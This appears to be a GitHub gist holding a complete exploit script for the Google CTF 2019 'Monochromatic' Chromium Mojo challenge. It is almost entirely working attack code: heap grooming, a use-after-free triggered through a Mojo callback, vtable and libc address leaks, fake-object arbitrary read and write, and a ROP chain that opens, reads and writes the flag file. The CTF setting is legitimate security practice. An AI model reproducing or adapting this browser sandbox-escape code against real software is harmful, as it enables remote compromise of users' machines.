Google CTF Quals 2019 Monochromatic
| <html> | |
| <pre id='log'></pre> | |
| <script src="mojo_bindings.js"></script> | |
| <script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
| <script src="being_creator_interface.mojom.js"></script> | |
| <script src="food_interface.mojom.js"></script> | |
| <script src="dog_interface.mojom.js"></script> | |
| <script src="person_interface.mojom.js"></script> | |
| <script src="cat_interface.mojom.js"></script> | |
| <script> | |
| function print(string) { | |
| console.log(string) | |
| var log = document.getElementById('log'); | |
| if (log) { | |
| log.innerText += string + '\n'; | |
| } | |
| } | |
| function sleep(ms) { | |
| var unixtime_ms = new Date().getTime(); | |
| while(new Date().getTime() < unixtime_ms + ms) {} | |
| } | |
| async function write(){ | |
| const sleep = m => new Promise(r => setTimeout(r, m)); | |
| let fengshui_result = []; | |
| //await sleep(4000); | |
| async function fengshui(){ | |
| for(var i = 0; i<0x100 ; i++){ | |
| fengshui_result[i] = await creator_ptr.createDog(); | |
| await fengshui_result[i].dog.setName("A".repeat(0x3f)); | |
| } | |
| print("[+] fengshui "); | |
| } | |
| async function food0(){ | |
| for(var i = 0; i < 0x1000; i++){ | |
| cat_result[i] = await creator_ptr.createCat(); | |
| await cat_result[i].cat.setName(String.fromCharCode(i)+"K".repeat(0x37)) | |
| } | |
| print("[+] Allocate Dogs"); | |
| } | |
| function c_encode(s) { | |
| var res = []; | |
| var k = s; | |
| for (var i = 0; i < k.byteLength; ++i) { | |
| var c = k[i] & 0xff; | |
| res.push('\\x' + ('0'+c.toString(16)).slice(-2)); | |
| } | |
| return res.join(''); | |
| } | |
| let heap = []; | |
| let index = -1; | |
| async function food1(){ | |
| print("[+] Get Cat Name") | |
| for(var i = 0; i < 0x1000 && heap.length == 0; i++){ | |
| var leak = (await cat_result[i].cat.getName()); | |
| leak = leak.arr | |
| for (var j = 0; j + 8 <= leak.byteLength; j += 8) { | |
| if (leak[j+7] != 0x4b | |
| && leak[j+6] != 0x4b | |
| && leak[j+5] != 0x4b | |
| && leak[j+5] != 0x4b) | |
| { | |
| value = 0; | |
| for (var k = j+5; k >= j; --k) | |
| value = value*0x100 + leak[k]; | |
| heap.push(value); | |
| } | |
| } | |
| index = i; | |
| } | |
| } | |
| let cat_result = []; | |
| let creator_ptr = new blink.mojom.BeingCreatorInterfacePtr(); | |
| Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name, | |
| mojo.makeRequest(creator_ptr).handle); | |
| function FoodImpl(){ | |
| this.binding = new mojo.Binding(blink.mojom.FoodInterface, this); | |
| } | |
| FoodImpl.prototype = { | |
| getWeight: async () =>{ | |
| print("[+] GetWeight"); | |
| //await fengshui(); | |
| await dog_result.dog.ptr.reset(); | |
| print("[!] Free CatInterfaceImpl"); | |
| await sleep(200); | |
| await food0(); | |
| //food1(); | |
| return {'weight':0x40}; | |
| } | |
| }; | |
| let food_interface = new FoodImpl(); | |
| let food_ptr = new blink.mojom.FoodInterfacePtr(); | |
| food_interface.binding.bind(mojo.makeRequest(food_ptr)); | |
| let dog_result = await creator_ptr.createDog(); | |
| dog_result.dog.cookAndEat(food_ptr); | |
| await sleep(3000); | |
| await food1(); | |
| await sleep(1000); | |
| if( heap[2] == 0x38){ | |
| //alert("???"); | |
| function u2d(v) { | |
| let lo = v&0xffffffff; | |
| let hi = v/0x100000000; | |
| u32[0] = lo; | |
| u32[1] = hi; | |
| return f64[0]; | |
| } | |
| let vtable = heap[0]; | |
| let string_ptr = heap[1]; | |
| let chromebase = vtable - 0x08FC1AE0; | |
| print("[+] Sucecss!"); | |
| print(`[+] Index : ${index}`); | |
| print(`[+] vtable : ${vtable.toString(16)}`); | |
| print(`[+] strint_ptr : ${string_ptr.toString(16)}`); | |
| print(`[+] chromebase : ${chromebase.toString(16)}`); | |
| let u32 = new Uint32Array(0x2); | |
| let f64 = new Float64Array(u32.buffer); | |
| let spread64 = new Float64Array(0x4); | |
| let spread8 = new Uint8Array(spread64.buffer); | |
| function arb(ptr){ | |
| spread64[0] = u2d(vtable); | |
| spread64[1] = u2d(ptr); | |
| spread64[2] = u2d(0x40); | |
| spread64[3] = u2d(0x8000000000000050); | |
| let fake_object = String.fromCharCode(...spread8); | |
| return fake_object | |
| } | |
| function call(ptr){ | |
| spread64[0] = u2d(ptr); | |
| spread64[1] = u2d(0x4141414141414141); | |
| spread64[2] = u2d(0x40); | |
| spread64[3] = u2d(0x8000000000000050); | |
| let fake_object = String.fromCharCode(...spread8); | |
| return fake_object | |
| } | |
| await cat_result[index].cat.setName(arb(chromebase)); | |
| let target = 0; | |
| for(var i = 0; i < 0x20; i++){ | |
| if( i == index ) continue; | |
| let find = (await cat_result[i].cat.getName()).name; | |
| if( find.indexOf("ELF") != -1){ | |
| target = i; | |
| break; | |
| } | |
| } | |
| print(`[+] target : ${target}`); | |
| await cat_result[index].cat.setName(arb(chromebase+0x095285F0)); | |
| let r = (await cat_result[target].cat.getName()).arr; | |
| let printf = 0; | |
| for(var i = 7; i >= 0; i--){ | |
| printf = printf*0x100 + r[i]; | |
| } | |
| print(`[+] printf : ${printf.toString(16)}`); | |
| let libc = printf-0x0055800; | |
| let bss = chromebase+ 0x95bc000 | |
| await cat_result[index].cat.setName(arb(bss+0x1000)); | |
| r = (await cat_result[target].cat.setName("flag")); | |
| // 0x00000000037c7323 : mov rdi, qword ptr [r14] ; call qword ptr [rdi + 8] | |
| // 0x0000000003530614 : mov rsi, r14 ; call qword ptr [rdi + 8] | |
| // 0x0000000002ac61dc : lea rsp, [rsi + 0x30] ; popfq ; ret | |
| // 0x00000000040f288e : xchg rax, rsp ; ret | |
| // 0x0000000002cfca65 : add rsp, 0x18 ; ret | |
| let open = chromebase + 0x08F7BED0; | |
| let write = chromebase + 0x08F77DB0; | |
| let read = chromebase + 0x08F77CA0; | |
| let pop_rdi_ret = chromebase + 0x000000000280105c // pop rdi ; ret | |
| let pop_rsi_ret = chromebase + 0x000000000280ea85 // pop rsi ; ret | |
| let pop_rdx_ret = chromebase + 0x00000000028568db // pop rdx ; ret | |
| let mov_edi_eax_ret = chromebase + 0x00000000084f77d5 // mov edi, eax ; ret | |
| let fake_table64 = new Float64Array([ | |
| u2d(chromebase+0x0000000002cfca65), | |
| u2d(0x41414141), | |
| u2d(chromebase+0x00000000040f288e), | |
| u2d(0xdeadbeef), | |
| u2d(pop_rdi_ret), // <--- ROP Chain | |
| u2d(bss + 0x1000), | |
| u2d(pop_rsi_ret), | |
| u2d(0x0), | |
| u2d(open), | |
| u2d(mov_edi_eax_ret), | |
| u2d(pop_rsi_ret), | |
| u2d(bss + 0x300), | |
| u2d(pop_rdx_ret), | |
| u2d(0x30), | |
| u2d(read), | |
| u2d(pop_rdi_ret), | |
| u2d(0x1), | |
| u2d(pop_rsi_ret), | |
| u2d(bss + 0x300), | |
| u2d(pop_rdx_ret), | |
| u2d(0x100), | |
| u2d(write) | |
| ]); | |
| let fake_table8 = new Uint8Array(fake_table64.buffer) | |
| let fake_table = String.fromCharCode(...fake_table8); | |
| await cat_result[index].cat.setName(arb(bss)); | |
| r = (await cat_result[target].cat.setName(fake_table)); | |
| await cat_result[index].cat.setName(call(bss)); | |
| (await cat_result[target].cat.getName()).arr; | |
| print("[+] BOOOOM"); | |
| } | |
| else{ | |
| print("[+] Fail"); | |
| } | |
| } | |
| async function main(){ | |
| //await fengshui(); | |
| //await write(); | |
| await write(); | |
| } | |
| main() | |
| </script> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment